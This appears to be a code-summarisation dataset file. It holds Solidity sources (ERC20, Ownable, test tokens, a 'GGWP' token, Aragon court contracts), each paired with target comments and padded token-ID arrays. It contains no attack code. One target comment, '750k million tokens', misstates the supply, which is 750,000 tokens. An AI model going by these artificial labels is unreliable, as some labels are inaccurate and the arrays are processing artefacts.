`recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; // Only used for testing Dubiex contract DummyVanillaERC20 is ERC20, Ownable { string public constant NAME = "Dummy"; string public constant SYMBOL = "DUMMY"; constructor() public ERC20(NAME, SYMBOL) Ownable() {} function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract DummyVanillaERC721 is ERC721 { string public constant NAME = "Vanilla ERC721"; string public constant SYMBOL = "VANILLA-"; constructor() public ERC721(NAME, SYMBOL) {} function mint(address to, uint256 tokenId) public { _mint(to, tokenId); } }
Update ancestor order if any
_updateOrderAncestorIfAny(input, maker, _unpacked, _packed);
10,209,469
[ 1, 1891, 9731, 1353, 309, 1281, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 2725, 2448, 15637, 2047, 2961, 12, 2630, 16, 312, 6388, 16, 389, 17309, 329, 16, 389, 2920, 329, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; contract Token { string public name = "GG WP"; string public symbol = "GGWP"; uint256 public totalSupply = 750000000000000000000000; // 750k million tokens uint8 public decimals = 18; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor() public { balanceOf[msg.sender] = totalSupply; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } }
750k million tokens
uint256 public totalSupply = 750000000000000000000000;
234,401
[ 1, 27, 3361, 79, 312, 737, 285, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 2078, 3088, 1283, 273, 18821, 12648, 12648, 9449, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-06-10 */ pragma solidity ^0.5.17; // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/lib/math/SafeMath.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { string private constant ERROR_ADD_OVERFLOW = "MATH_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b, ERROR_MUL_OVERFLOW); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/lib/math/SafeMath64.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules /** * @title SafeMath64 * @dev Math operations for uint64 with safety checks that revert on error */ library SafeMath64 { string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint64 _a, uint64 _b) internal pure returns (uint64) { uint256 c = uint256(_a) * uint256(_b); require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way) return uint64(c); } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint64 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint64 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint64 _a, uint64 _b) internal pure returns (uint64) { uint64 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } library PctHelpers { using SafeMath for uint256; uint256 internal constant PCT_BASE = 10000; // ‱ (1 / 10,000) function isValid(uint16 _pct) internal pure returns (bool) { return _pct <= PCT_BASE; } function pct(uint256 self, uint16 _pct) internal pure returns (uint256) { return self.mul(uint256(_pct)) / PCT_BASE; } function pct256(uint256 self, uint256 _pct) internal pure returns (uint256) { return self.mul(_pct) / PCT_BASE; } function pctIncrease(uint256 self, uint16 _pct) internal pure returns (uint256) { // No need for SafeMath: for addition note that `PCT_BASE` is lower than (2^256 - 2^16) return self.mul(PCT_BASE + uint256(_pct)) / PCT_BASE; } } /* * SPDX-License-Identifier: MIT */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/SafeERC20.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules library SafeERC20 { /** * @dev Same as a standards-compliant ERC20.transfer() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeTransfer(IERC20 _token, address _to, uint256 _amount) internal returns (bool) { bytes memory transferCallData = abi.encodeWithSelector( _token.transfer.selector, _to, _amount ); return invokeAndCheckSuccess(address(_token), transferCallData); } /** * @dev Same as a standards-compliant ERC20.transferFrom() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { bytes memory transferFromCallData = abi.encodeWithSelector( _token.transferFrom.selector, _from, _to, _amount ); return invokeAndCheckSuccess(address(_token), transferFromCallData); } /** * @dev Same as a standards-compliant ERC20.approve() that never reverts (returns false). * Note that this makes an external call to the provided token and expects it to be already * verified as a contract. */ function safeApprove(IERC20 _token, address _spender, uint256 _amount) internal returns (bool) { bytes memory approveCallData = abi.encodeWithSelector( _token.approve.selector, _spender, _amount ); return invokeAndCheckSuccess(address(_token), approveCallData); } function invokeAndCheckSuccess(address _addr, bytes memory _calldata) private returns (bool) { bool ret; assembly { let ptr := mload(0x40) // free memory pointer let success := call( gas, // forward all gas _addr, // address 0, // no value add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { // Check number of bytes returned from last function call switch returndatasize // No bytes returned: assume success case 0 { ret := 1 } // 32 bytes returned: check if non-zero case 0x20 { // Only return success if returned data was true // Already have output in ptr ret := eq(mload(ptr), 1) } // Not sure what was returned: don't mark as success default { } } } return ret; } } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/Uint256Helpers.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules library Uint256Helpers { uint256 private constant MAX_UINT8 = uint8(-1); uint256 private constant MAX_UINT64 = uint64(-1); string private constant ERROR_UINT8_NUMBER_TOO_BIG = "UINT8_NUMBER_TOO_BIG"; string private constant ERROR_UINT64_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG"; function toUint8(uint256 a) internal pure returns (uint8) { require(a <= MAX_UINT8, ERROR_UINT8_NUMBER_TOO_BIG); return uint8(a); } function toUint64(uint256 a) internal pure returns (uint64) { require(a <= MAX_UINT64, ERROR_UINT64_NUMBER_TOO_BIG); return uint64(a); } } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/TimeHelpers.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules contract TimeHelpers { using Uint256Helpers for uint256; /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } /** * @dev Returns the current block number, converted to uint64. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber64() internal view returns (uint64) { return getBlockNumber().toUint64(); } /** * @dev Returns the current timestamp. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp() internal view returns (uint256) { return block.timestamp; // solium-disable-line security/no-block-members } /** * @dev Returns the current timestamp, converted to uint64. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp64() internal view returns (uint64) { return getTimestamp().toUint64(); } } /* * SPDX-License-Identifier: MIT */ interface IPaymentsBook { /** * @dev Pay an amount of tokens * @param _token Address of the token being paid * @param _amount Amount of tokens being paid * @param _payer Address paying on behalf of * @param _data Optional data */ function pay(address _token, uint256 _amount, address _payer, bytes calldata _data) external payable; } /* * SPDX-License-Identifier: MIT */ interface IGuardiansRegistry { /** * @dev Assign a requested amount of guardian tokens to a guardian * @param _guardian Guardian to add an amount of tokens to * @param _amount Amount of tokens to be added to the available balance of a guardian */ function assignTokens(address _guardian, uint256 _amount) external; /** * @dev Burn a requested amount of guardian tokens * @param _amount Amount of tokens to be burned */ function burnTokens(uint256 _amount) external; /** * @dev Draft a set of guardians based on given requirements for a term id * @param _params Array containing draft requirements: * 0. bytes32 Term randomness * 1. uint256 Dispute id * 2. uint64 Current term id * 3. uint256 Number of seats already filled * 4. uint256 Number of seats left to be filled * 5. uint64 Number of guardians required for the draft * 6. uint16 Permyriad of the minimum active balance to be locked for the draft * * @return guardians List of guardians selected for the draft * @return length Size of the list of the draft result */ function draft(uint256[7] calldata _params) external returns (address[] memory guardians, uint256 length); /** * @dev Slash a set of guardians based on their votes compared to the winning ruling * @param _termId Current term id * @param _guardians List of guardian addresses to be slashed * @param _lockedAmounts List of amounts locked for each corresponding guardian that will be either slashed or returned * @param _rewardedGuardians List of booleans to tell whether a guardian's active balance has to be slashed or not * @return Total amount of slashed tokens */ function slashOrUnlock(uint64 _termId, address[] calldata _guardians, uint256[] calldata _lockedAmounts, bool[] calldata _rewardedGuardians) external returns (uint256 collectedTokens); /** * @dev Try to collect a certain amount of tokens from a guardian for the next term * @param _guardian Guardian to collect the tokens from * @param _amount Amount of tokens to be collected from the given guardian and for the requested term id * @param _termId Current term id * @return True if the guardian has enough unlocked tokens to be collected for the requested term, false otherwise */ function collectTokens(address _guardian, uint256 _amount, uint64 _termId) external returns (bool); /** * @dev Lock a guardian's withdrawals until a certain term ID * @param _guardian Address of the guardian to be locked * @param _termId Term ID until which the guardian's withdrawals will be locked */ function lockWithdrawals(address _guardian, uint64 _termId) external; /** * @dev Tell the active balance of a guardian for a given term id * @param _guardian Address of the guardian querying the active balance of * @param _termId Term ID querying the active balance for * @return Amount of active tokens for guardian in the requested past term id */ function activeBalanceOfAt(address _guardian, uint64 _termId) external view returns (uint256); /** * @dev Tell the total amount of active guardian tokens at the given term id * @param _termId Term ID querying the total active balance for * @return Total amount of active guardian tokens at the given term id */ function totalActiveBalanceAt(uint64 _termId) external view returns (uint256); } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/IsContract.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules contract IsContract { /* * NOTE: this should NEVER be used for authentication * (see pitfalls: https://github.com/fergarrui/ethereum-security/tree/master/contracts/extcodesize). * * This is only intended to be used as a sanity check that an address is actually a contract, * RATHER THAN an address not being a contract. */ function isContract(address _target) internal view returns (bool) { if (_target == address(0)) { return false; } uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } contract ACL { string private constant ERROR_BAD_FREEZE = "ACL_BAD_FREEZE"; string private constant ERROR_ROLE_ALREADY_FROZEN = "ACL_ROLE_ALREADY_FROZEN"; string private constant ERROR_INVALID_BULK_INPUT = "ACL_INVALID_BULK_INPUT"; enum BulkOp { Grant, Revoke, Freeze } address internal constant FREEZE_FLAG = address(1); address internal constant ANY_ADDR = address(-1); // List of all roles assigned to different addresses mapping (bytes32 => mapping (address => bool)) public roles; event Granted(bytes32 indexed id, address indexed who); event Revoked(bytes32 indexed id, address indexed who); event Frozen(bytes32 indexed id); /** * @dev Tell whether an address has a role assigned * @param _who Address being queried * @param _id ID of the role being checked * @return True if the requested address has assigned the given role, false otherwise */ function hasRole(address _who, bytes32 _id) public view returns (bool) { return roles[_id][_who] || roles[_id][ANY_ADDR]; } /** * @dev Tell whether a role is frozen * @param _id ID of the role being checked * @return True if the given role is frozen, false otherwise */ function isRoleFrozen(bytes32 _id) public view returns (bool) { return roles[_id][FREEZE_FLAG]; } /** * @dev Internal function to grant a role to a given address * @param _id ID of the role to be granted * @param _who Address to grant the role to */ function _grant(bytes32 _id, address _who) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); require(_who != FREEZE_FLAG, ERROR_BAD_FREEZE); if (!hasRole(_who, _id)) { roles[_id][_who] = true; emit Granted(_id, _who); } } /** * @dev Internal function to revoke a role from a given address * @param _id ID of the role to be revoked * @param _who Address to revoke the role from */ function _revoke(bytes32 _id, address _who) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); if (hasRole(_who, _id)) { roles[_id][_who] = false; emit Revoked(_id, _who); } } /** * @dev Internal function to freeze a role * @param _id ID of the role to be frozen */ function _freeze(bytes32 _id) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); roles[_id][FREEZE_FLAG] = true; emit Frozen(_id); } /** * @dev Internal function to enact a bulk list of ACL operations */ function _bulk(BulkOp[] memory _op, bytes32[] memory _id, address[] memory _who) internal { require(_op.length == _id.length && _op.length == _who.length, ERROR_INVALID_BULK_INPUT); for (uint256 i = 0; i < _op.length; i++) { BulkOp op = _op[i]; if (op == BulkOp.Grant) { _grant(_id[i], _who[i]); } else if (op == BulkOp.Revoke) { _revoke(_id[i], _who[i]); } else if (op == BulkOp.Freeze) { _freeze(_id[i]); } } } } contract ModuleIds { // DisputeManager module ID - keccak256(abi.encodePacked("DISPUTE_MANAGER")) bytes32 internal constant MODULE_ID_DISPUTE_MANAGER = 0x14a6c70f0f6d449c014c7bbc9e68e31e79e8474fb03b7194df83109a2d888ae6; // GuardiansRegistry module ID - keccak256(abi.encodePacked("GUARDIANS_REGISTRY")) bytes32 internal constant MODULE_ID_GUARDIANS_REGISTRY = 0x8af7b7118de65da3b974a3fd4b0c702b66442f74b9dff6eaed1037254c0b79fe; // Voting module ID - keccak256(abi.encodePacked("VOTING")) bytes32 internal constant MODULE_ID_VOTING = 0x7cbb12e82a6d63ff16fe43977f43e3e2b247ecd4e62c0e340da8800a48c67346; // PaymentsBook module ID - keccak256(abi.encodePacked("PAYMENTS_BOOK")) bytes32 internal constant MODULE_ID_PAYMENTS_BOOK = 0xfa275b1417437a2a2ea8e91e9fe73c28eaf0a28532a250541da5ac0d1892b418; // Treasury module ID - keccak256(abi.encodePacked("TREASURY")) bytes32 internal constant MODULE_ID_TREASURY = 0x06aa03964db1f7257357ef09714a5f0ca3633723df419e97015e0c7a3e83edb7; } interface IModulesLinker { /** * @notice Update the implementations of a list of modules * @param _ids List of IDs of the modules to be updated * @param _addresses List of module addresses to be updated */ function linkModules(bytes32[] calldata _ids, address[] calldata _addresses) external; } interface IClock { /** * @dev Ensure that the current term of the clock is up-to-date * @return Identification number of the current term */ function ensureCurrentTerm() external returns (uint64); /** * @dev Transition up to a certain number of terms to leave the clock up-to-date * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the term ID after executing the heartbeat transitions */ function heartbeat(uint64 _maxRequestedTransitions) external returns (uint64); /** * @dev Ensure that a certain term has its randomness set * @return Randomness of the current term */ function ensureCurrentTermRandomness() external returns (bytes32); /** * @dev Tell the last ensured term identification number * @return Identification number of the last ensured term */ function getLastEnsuredTermId() external view returns (uint64); /** * @dev Tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function getCurrentTermId() external view returns (uint64); /** * @dev Tell the number of terms the clock should transition to be up-to-date * @return Number of terms the clock should transition to be up-to-date */ function getNeededTermTransitions() external view returns (uint64); /** * @dev Tell the information related to a term based on its ID * @param _termId ID of the term being queried * @return startTime Term start time * @return randomnessBN Block number used for randomness in the requested term * @return randomness Randomness computed for the requested term */ function getTerm(uint64 _termId) external view returns (uint64 startTime, uint64 randomnessBN, bytes32 randomness); /** * @dev Tell the randomness of a term even if it wasn't computed yet * @param _termId Identification number of the term being queried * @return Randomness of the requested term */ function getTermRandomness(uint64 _termId) external view returns (bytes32); } contract CourtClock is IClock, TimeHelpers { using SafeMath64 for uint64; string private constant ERROR_TERM_DOES_NOT_EXIST = "CLK_TERM_DOES_NOT_EXIST"; string private constant ERROR_TERM_DURATION_TOO_LONG = "CLK_TERM_DURATION_TOO_LONG"; string private constant ERROR_TERM_RANDOMNESS_NOT_YET = "CLK_TERM_RANDOMNESS_NOT_YET"; string private constant ERROR_TERM_RANDOMNESS_UNAVAILABLE = "CLK_TERM_RANDOMNESS_UNAVAILABLE"; string private constant ERROR_BAD_FIRST_TERM_START_TIME = "CLK_BAD_FIRST_TERM_START_TIME"; string private constant ERROR_TOO_MANY_TRANSITIONS = "CLK_TOO_MANY_TRANSITIONS"; string private constant ERROR_INVALID_TRANSITION_TERMS = "CLK_INVALID_TRANSITION_TERMS"; string private constant ERROR_CANNOT_DELAY_STARTED_COURT = "CLK_CANNOT_DELAY_STARTED_PROT"; string private constant ERROR_CANNOT_DELAY_PAST_START_TIME = 